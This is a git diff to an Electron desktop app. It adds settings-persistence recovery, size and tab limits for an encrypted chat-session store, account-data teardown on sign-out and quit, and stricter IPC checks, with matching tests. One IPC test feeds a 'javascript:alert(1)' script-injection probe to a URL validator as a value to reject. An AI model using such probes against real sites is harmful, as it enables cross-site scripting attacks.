@@ -337,6 +359,9 @@ export function createConfigStore(
 
   return {
     filePath,
+    isPersistenceAvailable() {
+      return !persistenceBlocked
+    },
     getOrigin() {
       if (envOverride?.ok) {
         return envOverride.origin
@@ -355,17 +380,35 @@ export function createConfigStore(
       // only repairs it on the next launch. The canonical origin is also
       // returned so the caller sees what was actually stored.
       const origin = canonicalOrigin(validated.origin)
+      if (persistenceBlocked) {
+        const previousOrigin = settings.origin
+        try {
+          settings.origin = origin
+          writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT)
+          persistenceBlocked = false
+          logger.warn('Recovered desktop settings persistence')
+          return { ok: true, origin }
+        } catch (error) {
+          settings.origin = previousOrigin
+          logger.error('Could not recover invalid desktop settings', { error })
+          return { ok: false, error: 'Could not repair the desktop settings file' }
+        }
+      }
       // Re-confirming the origin already stored is the common case in the
       // server picker, and setOrigin's write is a synchronous mkdir + whole-file
       // write + rename on the main thread. There is nothing to persist.
       if (origin === settings.origin) {
         return { ok: true, origin }
       }
+      const previousOrigin = settings.origin
       settings.origin = origin
       // Not debounced: changing the origin tears the session down and
       // reloads, so a pending write could be lost on the way out — and this
       // is the one setting whose loss strands the app on the wrong server.
-      writeNow()
+      if (!writeNow()) {
+        settings.origin = previousOrigin
+        return { ok: false, error: 'Could not save the desktop settings file' }
+      }
       return { ok: true, origin }
     },
     get(key) {
@@ -383,8 +426,7 @@ export function createConfigStore(
       save()
     },
     flush() {
-      if (!saveTimer) return
-      writeNow()
+      return saveTimer ? writeNow() : !persistenceBlocked
     },
   }
 }
diff --git a/apps/desktop/src/main/desktop-chat-session-store.test.ts b/apps/desktop/src/main/desktop-chat-session-store.test.ts
index f6dcf749856..094ab4484e9 100644
--- a/apps/desktop/src/main/desktop-chat-session-store.test.ts
+++ b/apps/desktop/src/main/desktop-chat-session-store.test.ts
@@ -1,4 +1,12 @@
-import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'
+import {
+  existsSync,
+  mkdtempSync,
+  readFileSync,
+  rmSync,
+  statSync,
+  truncateSync,
+  writeFileSync,
+} from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
@@ -121,6 +129,38 @@ describe('DesktopChatSessionStore', () => {
     expect(statSync(filePath).mode & 0o077).toBe(0)
   })
 
+  it('does not replace the durable store with an oversized encrypted envelope', () => {
+    const provider = encryption()
+    const store = open(provider)
+    store.setTerminal(ORIGIN, 'chat-existing', TERMINAL)
+    expect(store.flush()).toBe(true)
+    const existing = readFileSync(filePath, 'utf8')
+
+    vi.mocked(provider.encryptString).mockReturnValueOnce(Buffer.alloc(8 * 1024 * 1024))
+    store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
+
+    expect(store.flush()).toBe(false)
+    expect(readFileSync(filePath, 'utf8')).toBe(existing)
+
+    expect(store.flush()).toBe(true)
+    expect(readFileSync(filePath, 'utf8')).not.toBe(existing)
+  })
+
+  it('preserves an oversized store until explicit clear resets persistence', () => {
+    writeFileSync(filePath, '')
+    truncateSync(filePath, 10 * 1024 * 1024 + 1)
+    const store = open(encryption())
+
+    expect(store.initialize()).toBe(false)
+    store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
+    expect(store.flush()).toBe(false)
+    expect(statSync(filePath).size).toBe(10 * 1024 * 1024 + 1)
+
+    store.clear()
+    store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
+    expect(store.flush()).toBe(true)
+  })
+
   it('keeps a pending chat in memory until migration promotes it to a durable chat id', () => {
     const provider = encryption()
     const pending = open(provider)
@@ -245,6 +285,28 @@ describe('DesktopChatSessionStore', () => {
     expect(terminal?.activeIndex).toBe(11)
   })
 
+  it('bounds persisted browser tabs while retaining pinned and active entries', () => {
+    const store = open()
+    const tabs = Array.from({ length: 40 }, (_, index) => ({
+      url: `https://tab-${index}.example/`,
+      pinned: index < 4,
+    }))
+
+    expect(
+      store.setBrowser(ORIGIN, 'chat-bounded', {
+        v: 1,
+        tabs,
+        activeIndex: tabs.length - 1,
+        downloads: [],
+      })
+    ).toBe(true)
+
+    const snapshot = store.getBrowser(ORIGIN, 'chat-bounded')
+    expect(snapshot?.tabs).toHaveLength(32)
+    expect(snapshot?.tabs.filter((tab) => tab.pinned)).toHaveLength(4)
+    expect(snapshot?.tabs[snapshot.activeIndex]?.url).toBe('https://tab-39.example/')
+  })
+
   it('filters unsafe or malformed values while loading an encrypted payload', () => {
     const provider = encryption()
     writeEncryptedPayload(provider, {
diff --git a/apps/desktop/src/main/desktop-chat-session-store.ts b/apps/desktop/src/main/desktop-chat-session-store.ts
index 4ae7430def9..71b3b663a25 100644
--- a/apps/desktop/src/main/desktop-chat-session-store.ts
+++ b/apps/desktop/src/main/desktop-chat-session-store.ts
@@ -1,13 +1,15 @@
-import { readFileSync, unlinkSync } from 'node:fs'
+import { unlinkSync } from 'node:fs'
 import { isAbsolute } from 'node:path'
 import { isDesktopScopeId, isPendingDesktopScopeId } from '@sim/desktop-bridge'
 import { isRecordLike } from '@sim/utils/object'
 import { safeStorage } from 'electron'
-import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
+import { readFileWithinLimitSync, writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
 
 const STORE_VERSION = 1
 const SNAPSHOT_VERSION = 1
 const MAX_DURABLE_ENTRIES = 100
+const MAX_STORE_BYTES = 10 * 1024 * 1024
+const MAX_BROWSER_TABS = 32
 const MAX_ORIGIN_LENGTH = 2_048
 const MAX_URL_LENGTH = 8_192
 const MAX_CWD_LENGTH = 4_096
@@ -141,13 +143,54 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null
     return null
   }
 
-  const tabs: BrowserSessionSnapshot['tabs'] = []
-  for (const candidate of value.tabs) {
+  const requestedActiveIndex =
+    typeof value.activeIndex === 'number' && Number.isInteger(value.activeIndex)
+      ? value.activeIndex
+      : 0
+  const activeSourceIndex =
+    requestedActiveIndex >= 0 && requestedActiveIndex < value.tabs.length
+      ? requestedActiveIndex
+      : null
+  const selectedTabs: Array<{
+    tab: BrowserSessionSnapshot['tabs'][number]
+    sourceIndex: number
+  }> = []
+  const replaceableTabIndex = (): number => {
+    for (let index = selectedTabs.length - 1; index >= 0; index--) {
+      const entry = selectedTabs[index]
+      if (entry.sourceIndex !== activeSourceIndex && !entry.tab.pinned) return index
+    }
+    return -1
+  }
+  for (let sourceIndex = 0; sourceIndex < value.tabs.length; sourceIndex++) {
+    const candidate = value.tabs[sourceIndex]
     if (!isRecordLike(candidate) || typeof candidate.pinned !== 'boolean') continue
     const url = normalizeBrowserUrl(candidate.url)
     if (url === null) continue
-    tabs.push({ url, pinned: candidate.pinned })
+    const next = { tab: { url, pinned: candidate.pinned }, sourceIndex }
+    if (selectedTabs.length < MAX_BROWSER_TABS) {
+      selectedTabs.push(next)
+      continue
+    }
+    if (sourceIndex === activeSourceIndex) {
+      const replacementIndex = replaceableTabIndex()
+      selectedTabs[replacementIndex >= 0 ? replacementIndex : selectedTabs.length - 1] = next
+      continue
+    }
+    if (candidate.pinned) {
+      const replacementIndex = replaceableTabIndex()
+      if (replacementIndex >= 0) selectedTabs[replacementIndex] = next
+    }
   }
+  selectedTabs.sort((left, right) => left.sourceIndex - right.sourceIndex)
+  const tabs = selectedTabs.map(({ tab }) => tab)
+  const selectedActiveIndex = selectedTabs.findIndex(
+    ({ sourceIndex }) => sourceIndex === activeSourceIndex
+  )
+  const activeIndex =
+    selectedActiveIndex >= 0
+      ? selectedActiveIndex
+      : normalizeActiveIndex(requestedActiveIndex, tabs.length)
 
   const downloads: BrowserSessionSnapshot['downloads'] = []
   for (const candidate of value.downloads) {
@@ -193,7 +236,7 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null
   return {
     v: SNAPSHOT_VERSION,
     tabs,
-    activeIndex: normalizeActiveIndex(value.activeIndex, tabs.length),
+    activeIndex,
     downloads,
   }
 }
@@ -275,7 +318,9 @@ export class DesktopChatSessionStore {
     if (!this.isAvailable()) return false
 
     try {
-      const envelope = JSON.parse(readFileSync(this.filePath, 'utf8')) as unknown
+      const envelope = JSON.parse(
+        readFileWithinLimitSync(this.filePath, MAX_STORE_BYTES).toString('utf8')
+      ) as unknown
       if (
         !isRecordLike(envelope) ||
         envelope.v !== STORE_VERSION ||
@@ -297,19 +342,20 @@ export class DesktopChatSessionStore {
       const loaded: SessionEntry[] = []
       for (const candidate of payload.entries) {
         const entry = this.normalizeEntry(candidate)
-        if (entry && isDurableScope(entry.scope)) loaded.push(entry)
+        if (!entry || !isDurableScope(entry.scope)) continue
+        loaded.push(entry)
+        loaded.sort(
+          (left, right) =>
+            right.lastAccessedAt - left.lastAccessedAt ||
+            keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope))
+        )
+        if (loaded.length > MAX_DURABLE_ENTRIES) loaded.pop()
       }
 
-      loaded.sort(
-        (left, right) =>
-          right.lastAccessedAt - left.lastAccessedAt ||
-          keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope))
-      )
-
       for (const [key, entry] of this.entries) {
         if (isDurableScope(entry.scope)) this.entries.delete(key)
       }
-      for (const entry of loaded.slice(0, MAX_DURABLE_ENTRIES)) {
+      for (const entry of loaded) {
         this.entries.set(keyFor(entry.origin, entry.scope), entry)
         this.accessClock = Math.max(this.accessClock, entry.lastAccessedAt)
       }
@@ -496,6 +542,7 @@ export class DesktopChatSessionStore {
         v: STORE_VERSION,
         ciphertext: this.encryption.encryptString(JSON.stringify(payload)).toString('base64'),
       }
+      if (Buffer.byteLength(JSON.stringify(envelope), 'utf8') > MAX_STORE_BYTES) return false
       writeJsonFileAtomicallySync(this.filePath, envelope)
       this.dirty = false
       return true
diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts
index 8af9f55d550..539c2329a5a 100644
--- a/apps/desktop/src/main/index.ts
+++ b/apps/desktop/src/main/index.ts
@@ -1,8 +1,19 @@
-import { join } from 'node:path'
+import { join, resolve } from 'node:path'
 import { createLogger } from '@sim/logger'
 import { getErrorMessage } from '@sim/utils/errors'
 import type { OpenDialogOptions, Session, WebContents } from 'electron'
-import { app, BrowserWindow, crashReporter, dialog, net, session } from 'electron'
+import { app, BrowserWindow, crashReporter, dialog, net, session, shell } from 'electron'
+import {
+  beginAccountDataTeardown,
+  completeDeploymentScopedTeardown,
+  getAccountDataTeardownKind,
+  getAccountDataTeardownOrigin,
+  initializeAccountDataRecovery,
+  isAccountDataTeardownRequired,
+  prepareAccountDataTeardownForQuit,
+  retryAccountDataTeardown,
+  waitForAccountDataMutations,
+} from '@/main/account-data-generation'
 import { newChatRoute, settingsRoute } from '@/main/app-routes'
 import {
   activateBrowserScope as activateAgentBrowserScope,
@@ -48,11 +59,12 @@ import { LocalFilesystemService } from '@/main/local-filesystem'
 import { createEncryptedLocalFilesystemGrantStore } from '@/main/local-filesystem-grant-store'
 import { installApplicationMenu } from '@/main/menu'
 import { openExternalSafe } from '@/main/navigation'
-import { createEventLog } from '@/main/observability'
+import { createEventLog, installMainProcessFailureObservers } from '@/main/observability'
 import { ScopedEventRouter } from '@/main/scoped-event-router'
 import { installGlobalGuards } from '@/main/security-guards'
 import { createServerWindow, relaunchApp } from '@/main/server-window'
 import {
+  canRevokeIn,
   createSessionLifecycleCoordinator,
   decideStartRoute,
   handleConnectIntercept,
@@ -72,7 +84,8 @@ const logger = createLogger('DesktopMain')
  * Backstop for the sign-in flows, which are dispatched fire-and-forget from a
  * loopback callback and a navigation guard. The flows record their own expected
  * failures; this catches anything they do not, so a rejection cannot surface as
- * an unhandled one — main registers no `unhandledRejection` handler.
+ * an unhandled one — the process-level observer is a last-resort restart path,
+ * not routine control flow.
  */
 function reportHandoffFailure(error: unknown): void {
   logger.error('Sign-in handoff failed', { error: getErrorMessage(error) })
@@ -90,20 +103,30 @@ const DOCK_ICON_FOR_CHANNEL = {
 function main(): void {
   app.enableSandbox()
 
-  const config = createConfigStore(join(app.getPath('userData'), 'settings.json'))
-  const events = createEventLog(join(app.getPath('userData'), 'logs'))
+  const userDataPath = app.getPath('userData')
+  const config = createConfigStore(join(userDataPath, 'settings.json'))
+  initializeAccountDataRecovery(join(userDataPath, 'account-data-teardown-required.json'))
+  const recoveryOrigin = getAccountDataTeardownOrigin()
+  if (isAccountDataTeardownRequired() && recoveryOrigin && !config.isPersistenceAvailable()) {
+    const repaired = config.setOrigin(recoveryOrigin)
+    if (!repaired.ok) {
+      logger.error('Could not repair desktop settings for account-data recovery')
+    }
+  }
+  const accountDataAvailable = () =>
+    config.isPersistenceAvailable() && !isAccountDataTeardownRequired()
+  const events = createEventLog(join(userDataPath, 'logs'))
   const appOrigin = () => config.getOrigin()
+  /** Resource snapshots stay with the deployment that created this process. */
+  const processOrigin = appOrigin()
+  const recoveryPartition = `sim-settings-recovery-${process.pid}`
+  const appPartition = (origin = appOrigin()) =>
+    accountDataAvailable() ? partitionForOrigin(origin) : recoveryPartition
   const desktopChatSessions = new DesktopChatSessionStore(
-    join(app.getPath('userData'), 'desktop-chat-sessions.json')
+    join(userDataPath, 'desktop-chat-sessions.json')
   )
   const clearDesktopChatSessions = (): void => {
-    try {
-      desktopChatSessions.clear()
-    } catch (error) {
-      logger.error('Could not clear encrypted task resource state', {
-        error: getErrorMessage(error),
-      })
-    }
+    desktopChatSessions.clear()
   }
   const flushDesktopChatSessions = (phase: 'before-quit' | 'will-quit'): void => {
     if (!desktopChatSessions.flush()) {
@@ -112,17 +135,17 @@ function main(): void {
   }
   const localFilesystem = new LocalFilesystemService({
     grantStore: createEncryptedLocalFilesystemGrantStore(
-      join(app.getPath('userData'), 'local-filesystem-grants.json')
+      join(userDataPath, 'local-filesystem-grants.json')
     ),
   })
   const scopeEvents = new ScopedEventRouter()
   const terminal = new TerminalRegistry({
-    load: (scopeId) => desktopChatSessions.getTerminal(appOrigin(), scopeId) ?? undefined,
-    save: (scopeId, snapshot) => desktopChatSessions.setTerminal(appOrigin(), scopeId, snapshot),
+    load: (scopeId) => desktopChatSessions.getTerminal(processOrigin, scopeId) ?? undefined,
+    save: (scopeId, snapshot) => desktopChatSessions.setTerminal(processOrigin, scopeId, snapshot),
     migrate: (fromScopeId, toScopeId) =>
-      desktopChatSessions.migrateTerminal(appOrigin(), fromScopeId, toScopeId),
+      desktopChatSessions.migrateTerminal(processOrigin, fromScopeId, toScopeId),
     disposeScope: (scopeId) => {
-      desktopChatSessions.deleteScope(appOrigin(), scopeId)
+      desktopChatSessions.deleteScope(processOrigin, scopeId)
     },
   })
   const preloadPath = join(__dirname, 'preload.cjs')
@@ -133,8 +156,11 @@ function main(): void {
   let ensureWindowCreation: Promise<BrowserWindow> | null = null
   let appSession: Session | null = null
   let sessionLifecycle: ReturnType<typeof createSessionLifecycleCoordinator> | null = null
+  let resumingQuitAfterTeardown = false
+  let mandatoryRelaunchPending = false
   let tray: TrayHandle | null = null
   let updater: UpdaterHandle | null = null
+  let startupReady: Promise<void> | null = null
   const configuredPartitions = new Set<string>()
 
   const allowHttpLocalhost = () => !app.isPackaged || appOrigin().startsWith('http://')
@@ -149,6 +175,7 @@ function main(): void {
     }
     return getWindows().at(-1) ?? null
   }
+  installMainProcessFailureObservers({ events, getWindow: getMainWindow })
   const windowForContents = (contents: WebContents) => {
     const win = BrowserWindow.fromWebContents(contents)
     return win && windows.has(win) && !win.isDestroyed() ? win : null
@@ -225,7 +252,7 @@ function main(): void {
   })
 
   function configureSessionForOrigin(origin: string) {
-    const partition = partitionForOrigin(origin)
+    const partition = appPartition(origin)
     const ses = session.fromPartition(partition)
     if (configuredPartitions.has(partition)) {
       return ses
@@ -249,41 +276,58 @@ function main(): void {
       events,
       getWindows,
       clearHandoffState: async () => {
-        try {
-          handoff.clear()
-        } catch (error) {
-          logger.error('Could not clear sign-in handoff state', { error: getErrorMessage(error) })
-        }
-        try {
-          tray?.clearRecentChats()
-        } catch (error) {
-          logger.error('Could not clear recent tasks', { error: getErrorMessage(error) })
-        }
-        // Shells are account-scoped runtime state. Leaving them alive across
-        // sign-out would stream the previous account's output into the next
-        // renderer and keep its local processes running invisibly.
-        try {
-          terminal.dispose()
-        } catch (error) {
-          logger.error('Could not stop account terminal sessions', {
-            error: getErrorMessage(error),
-          })
-        }
-        clearDesktopChatSessions()
-        await localFilesystem.forgetAll().catch((error) => {
-          logger.error('Could not clear local filesystem grants', {
-            error: getErrorMessage(error),
+        const stores = [
+          { label: 'sign-in handoff state', clear: () => handoff.clear() },
+          { label: 'recent tasks', clear: () => tray?.clearRecentChats() },
+          {
+            label: 'renderer session state',
+            clear: () =>
+              Promise.all(
+                getWindows()
+                  .filter((win) => canRevokeIn(win, appOrigin()))
+                  .map((win) =>
+                    win.webContents.executeJavaScript(
+                      `(() => { sessionStorage.clear(); window.name = '' })()`,
+                      true
+                    )
+                  )
+              ).then(() => undefined),
+          },
+          // Shells are account-scoped runtime state. Leaving them alive across
+          // sign-out would stream the previous account's output into the next
+          // renderer and keep its local processes running invisibly.
+          { label: 'terminal sessions', clear: () => terminal.dispose() },
+          { label: 'task resource state', clear: clearDesktopChatSessions },
+          { label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() },
+        ]
+        const outcomes = await Promise.allSettled(
+          stores.map(({ clear }) => Promise.resolve().then(clear))
+        )
+        const failures = outcomes.flatMap((outcome, index) => {
+          if (outcome.status === 'fulfilled') return []
+          logger.error('Could not clear local account state', {
+            store: stores[index].label,
+            error: getErrorMessage(outcome.reason),
           })
+          return [outcome.reason]
         })
+        if (failures.length > 0) {
+          throw new AggregateError(failures, 'Local account state survived teardown.')
+        }
       },
       clearBrowserProfile: async () => {
+        // Browser profile teardown emits empty tab snapshots while closing its
+        // live views. Clear task descriptors afterward so those snapshots
+        // cannot recreate account-scoped state after sign-out.
+        const failures: unknown[] = []
+        await clearAgentBrowserProfile().catch((error) => failures.push(error))
         try {
-          await clearAgentBrowserProfile()
-        } finally {
-          // Browser profile teardown emits empty tab snapshots while closing
-          // its live views. Clear once more afterward so those cannot recreate
-          // account-scoped task descriptors after sign-out.
           clearDesktopChatSessions()
+        } catch (error) {
+          failures.push(error)
+        }
+        if (failures.length > 0) {
+          throw new AggregateError(failures, 'Browser account state survived teardown.')
         }
       },
     })
@@ -335,10 +379,11 @@ function main(): void {
       config,
       events,
       appOrigin,
-      partition: partitionForOrigin(origin),
+      partition: appPartition(origin),
       preloadPath,
       isPackaged: app.isPackaged,
       restorePosition,
+      isMandatoryRelaunchPending: () => mandatoryRelaunchPending,
       onFullScreenChange: (isFullScreen) => {
         if (!win.isDestroyed()) {
           win.webContents.send('desktop:window-state:changed', { isFullScreen })
@@ -373,6 +418,7 @@ function main(): void {
         }
       },
       allowHttpLocalhost: allowHttpLocalhost(),
+      isMandatoryRelaunchPending: () => mandatoryRelaunchPending,
     })
     attachContextMenu(win.webContents, {
       isDev: !app.isPackaged,
@@ -426,7 +472,7 @@ function main(): void {
     }
     if (!tray) {
       tray = installTray({
-        partition: () => partitionForOrigin(appOrigin()),
+        partition: appPartition,
         appOrigin,
         lastRoute: () => config.get('lastRoute'),
         openMainWindow: (route) => void openMainWindowAt(route),
@@ -482,14 +528,19 @@ function main(): void {
     preloadPath,
     isPackaged: app.isPackaged,
     getParentWindow: getMainWindow,
+    prepareDeploymentScopedStateChange: () => beginAccountDataTeardown('deployment', appOrigin()),
     clearDeploymentScopedState: async () => {
+      await waitForAccountDataMutations()
       // allSettled, not sequential awaits: these are independent stores, and a
       // rejection from the first must not skip the second — leaving the store
       // that would have cleared fine still holding the outgoing deployment's
       // access. Each failure is named so the picker can say what survived.
       const stores = [
         { label: 'local file access', clear: () => localFilesystem.forgetAll() },
-        { label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() },
+        {
+          label: 'built-in browser sessions',
+          clear: () => clearAgentBrowserProfile({ settingsPersistence: 'server-repair' }),
+        },
       ]
       const outcomes = await Promise.allSettled(stores.map((store) => store.clear()))
       return outcomes.flatMap((outcome, index) => {
@@ -501,7 +552,11 @@ function main(): void {
         return [stores[index].label]
       })
     },
-    relaunch: relaunchApp,
+    completeDeploymentScopedStateChange: completeDeploymentScopedTeardown,
+    relaunch: () => {
+      mandatoryRelaunchPending = true
+      relaunchApp()
+    },
   })
 
   /**
@@ -513,11 +568,11 @@ function main(): void {
    */
   function signOutFromMenu(): void {
     ensureAppSession()
-    sessionLifecycle?.signOut()
+    void sessionLifecycle?.signOut()
   }
 
   app.on('second-instance', () => {
-    void app.whenReady().then(() => createAndLoadAppWindow())
+    void (startupReady ?? app.whenReady()).then(() => createAndLoadAppWindow())
   })
 
   app.on('window-all-closed', () => {
@@ -526,7 +581,39 @@ function main(): void {
     }
   })
 
-  app.on('before-quit', () => {
+  app.on('before-quit', (event) => {
+    if (!resumingQuitAfterTeardown && sessionLifecycle?.isTeardownActive()) {
+      event.preventDefault()
+      void sessionLifecycle.awaitTeardown().then((clean) => {
+        if (!clean && !mandatoryRelaunchPending) {
+          logger.error('Quit cancelled because account teardown did not finish safely')
+          return
+        }
+        if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) {
+          logger.error('Quit cancelled because account-data recovery could not be persisted')
+          return
+        }
+        if (!clean) {
+          logger.warn(
+            'Committed server relaunch is continuing with account-data recovery armed for startup'
+          )
+        }
+        resumingQuitAfterTeardown = true
+        app.quit()
+      })
+      return
+    }
+    /**
+     * A mandatory relaunch is requested only after the server-switch transaction
+     * has cleared deployment-scoped capabilities and committed the replacement
+     * origin. The ordinary quit guard must not strand that committed process on
+     * its old partition; any retained marker is startup retry metadata.
+     */
+    if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) {
+      event.preventDefault()
+      logger.error('Quit cancelled because account-data recovery could not be persisted')
+      return
+    }
     // Stops the tray's background chat refresh alongside the OS handles.
     tray?.destroy()
     tray = null
@@ -549,12 +636,13 @@ function main(): void {
   })
 
   app.on('activate', () => {
-    if (app.isReady() && !getMainWindow()) {
-      void ensureMainWindow()
-    }
+    if (!app.isReady()) return
+    void (startupReady ?? app.whenReady()).then(() => {
+      if (!getMainWindow()) return ensureMainWindow()
+    })
   })
 
-  void app.whenReady().then(async () => {
+  startupReady = app.whenReady().then(async () => {
     // Packaged apps keep their native bundle icon so the Dock appearance does
     // not change when the process starts. Unpackaged runs have no branded
     // bundle, so they still need the channel-specific development icon.
@@ -566,7 +654,57 @@ function main(): void {
       version: app.getVersion(),
       electron: process.versions.electron ?? '',
     })
-    if (!desktopChatSessions.initialize()) {
+
+    if (isAccountDataTeardownRequired()) {
+      const kind = getAccountDataTeardownKind()
+      const origin = getAccountDataTeardownOrigin()
+      if (!origin) {
+        logger.error('Account-data recovery marker does not contain a trusted origin')
+      }
+      const stores = [
+        { label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() },
+        { label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() },
+        {
+          label: 'browser site history',
+          clear: () => {
+            config.set('browserKnownSites', undefined)
+            if (!config.flush()) throw new Error('Browser site history could not be erased')
+          },
+        },
+        ...(kind === 'account' && origin
+          ? [
+              { label: 'sign-in handoff state', clear: () => handoff.clear() },
+              { label: 'terminal sessions', clear: () => terminal.dispose() },
+              { label: 'task resource state', clear: clearDesktopChatSessions },
+              {
+                label: 'app session storage',
+                clear: async () => {
+                  const persistedSession = session.fromPartition(partitionForOrigin(origin))
+                  await persistedSession.clearStorageData()
+                  await persistedSession.clearCache()
+                },
+              },
+            ]
+          : []),
+      ]
+      const failures = origin
+        ? await retryAccountDataTeardown(stores).catch((error) => {
+            logger.error('Could not finish interrupted account-data teardown', {
+              error: getErrorMessage(error),
+            })
+            return ['account-data recovery marker']
+          })
+        : ['account-data recovery marker']
+      if (failures.length > 0) {
+        logger.error('Account-data recovery remains incomplete', { stores: failures })
+      }
+    }
+
+    if (!accountDataAvailable()) {
+      logger.warn(
+        'Account-bearing browser, terminal, and local filesystem APIs are unavailable until local recovery succeeds'
+      )
+    } else if (!desktopChatSessions.initialize()) {
       logger.warn(
         'Encrypted task resource storage is unavailable; browser and terminal state will remain memory-only'
       )
@@ -595,19 +733,22 @@ function main(): void {
       getMainWindow,
       config,
       {
-        load: (scopeId) => desktopChatSessions.getBrowser(appOrigin(), scopeId),
-        save: (scopeId, snapshot) => desktopChatSessions.setBrowser(appOrigin(), scopeId, snapshot),
+        load: (scopeId) => desktopChatSessions.getBrowser(processOrigin, scopeId),
+        save: (scopeId, snapshot) =>
+          desktopChatSessions.setBrowser(processOrigin, scopeId, snapshot),
         migrateScope: (fromScopeId, toScopeId) =>
-          desktopChatSessions.migrateBrowser(appOrigin(), fromScopeId, toScopeId),
+          desktopChatSessions.migrateBrowser(processOrigin, fromScopeId, toScopeId),
         disposeScope: (scopeId) => {
-          desktopChatSessions.deleteScope(appOrigin(), scopeId)
+          desktopChatSessions.deleteScope(processOrigin, scopeId)
         },
       },
       {
         getDirectory: () => desktopSettings.getPreferences().browserDownloadDirectory,
       }
     )
-    await localFilesystem.initialize()
+    if (accountDataAvailable()) {
+      await localFilesystem.initialize()
+    }
     terminal.setSink({
       data: (scopeId, terminalId, data) =>
         scopeEvents.sendTerminal(scopeId, 'terminal:data', terminalId, data, scopeId),
@@ -619,6 +760,8 @@ function main(): void {
     registerIpcHandlers({
       appOrigin,
       allowHttpLocalhost,
+      accountDataAvailable,
+      localPagePaths: [resolve(OFFLINE_PAGE), resolve(SERVER_PAGE)],
       scopeEvents,
       retryLoad: (sender) => {
         const win = windowForContents(sender)
@@ -700,6 +843,7 @@ function main(): void {
     installApplicationMenu({
       config,
       getMainWindow,
+      isMainWindow: (win) => windows.has(win) && !win.isDestroyed(),
       allowHttpLocalhost,
       openSettings,
       openServerSettings: () => serverWindow.open(),
@@ -713,6 +857,7 @@ function main(): void {
       signOut: signOutFromMenu,
       checkForUpdates: () =>
         checkForUpdatesInteractive({ getWindow: getMainWindow, events, handle: updater }),
+      openDiagnostics: () => shell.showItemInFolder(events.filePath),
     })
     installDocumentationHelpSearch()
     setTrayEnabled(config.get('trayEnabled') ?? true)
@@ -721,6 +866,16 @@ function main(): void {
       events,
       appOrigin,
       autoDownload: () => config.get('autoDownloadUpdates') ?? true,
+      beforeInstall: async () => {
+        if (!prepareAccountDataTeardownForQuit()) {
+          throw new Error(
+            'Account-data recovery could not be persisted before update installation.'
+          )
+        }
+        if (sessionLifecycle && !(await sessionLifecycle.awaitTeardown())) {
+          throw new Error('Account teardown did not finish safely before update installation.')
+        }
+      },
       onStateChange: (state) => {
         broadcast('desktop:updates:state', state)
       },
diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts
index 72081c3e956..b8bfc8cc8c2 100644
--- a/apps/desktop/src/main/ipc.test.ts
+++ b/apps/desktop/src/main/ipc.test.ts
@@ -235,6 +235,10 @@ const inactiveAppEvent = {
   sender: rejectedSender(),
 }
 const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender }
+const arbitraryFileEvent = {
+  senderFrame: { url: 'file:///Users/example/private.html' },
+  sender: fileSender,
+}
 /** The chooser anchors a native menu, so it needs a sender with a window. */
 const FAKE_WINDOW = { id: 'main-window' }
 const activeChooserEvent = {
@@ -274,6 +278,8 @@ describe('registerIpcHandlers', () => {
     deps = {
       appOrigin: () => APP,
       allowHttpLocalhost: () => false,
+      accountDataAvailable: () => true,
+      localPagePaths: ['/app/static/offline.html', '/app/static/server.html'],
       retryLoad: vi.fn(),
       beginOAuthConnect: vi.fn(async () => true),
       localFilesystem: new LocalFilesystemService({
@@ -330,20 +336,28 @@ describe('registerIpcHandlers', () => {
     vi.useRealTimers()
   })
 
-  it('validates open-external URLs regardless of sender', async () => {
+  it('opens validated external URLs only after recent user input', async () => {
     const { invoke } = collectHandlers()
-    expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true)
-    expect(await invoke.get('desktop:open-external')?.(appEvent, 'javascript:alert(1)')).toBe(false)
-    expect(await invoke.get('desktop:open-external')?.(appEvent, 42)).toBe(false)
+    const handler = invoke.get('desktop:open-external')
+    const activeUntrustedEvent = {
+      senderFrame: evilEvent.senderFrame,
+      sender: activeSender.sender,
+    }
+
+    expect(await handler?.(evilEvent, 'https://docs.sim.ai')).toBe(false)
+    expect(await handler?.(activeUntrustedEvent, 'https://docs.sim.ai')).toBe(true)
+    expect(await handler?.(activeAppEvent, 'javascript:alert(1)')).toBe(false)
+    expect(await handler?.(activeAppEvent, 42)).toBe(false)
     expect(shell.openExternal).toHaveBeenCalledTimes(1)
   })
 
-  it('opens microphone privacy settings only for the trusted app origin', async () => {
+  it('opens microphone privacy settings only for an activated trusted app origin', async () => {
     const { invoke } = collectHandlers()
     const handler = invoke.get('desktop:open-microphone-settings')
 
     expect(await handler?.(evilEvent)).toBe(false)
-    expect(await handler?.(appEvent)).toBe(process.platform === 'darwin')
+    expect(await handler?.(appEvent)).toBe(false)
+    expect(await handler?.(activeAppEvent)).toBe(process.platform === 'darwin')
     expect(shell.openExternal).toHaveBeenCalledTimes(process.platform === 'darwin' ? 1 : 0)
   })
 
@@ -374,20 +388,21 @@ describe('registerIpcHandlers', () => {
     expect(await handler?.(appEvent, 'sim ai')).toEqual([])
   })
 
-  it('restricts the OAuth connect handoff to the app origin', async () => {
+  it('restricts the OAuth connect handoff to an activated app origin', async () => {
     const { invoke } = collectHandlers()
     const handler = invoke.get('desktop:oauth-connect')
     expect(await handler?.(evilEvent, 'slack')).toBe(false)
     expect(await handler?.(fileEvent, 'slack')).toBe(false)
+    expect(await handler?.(appEvent, 'slack')).toBe(false)
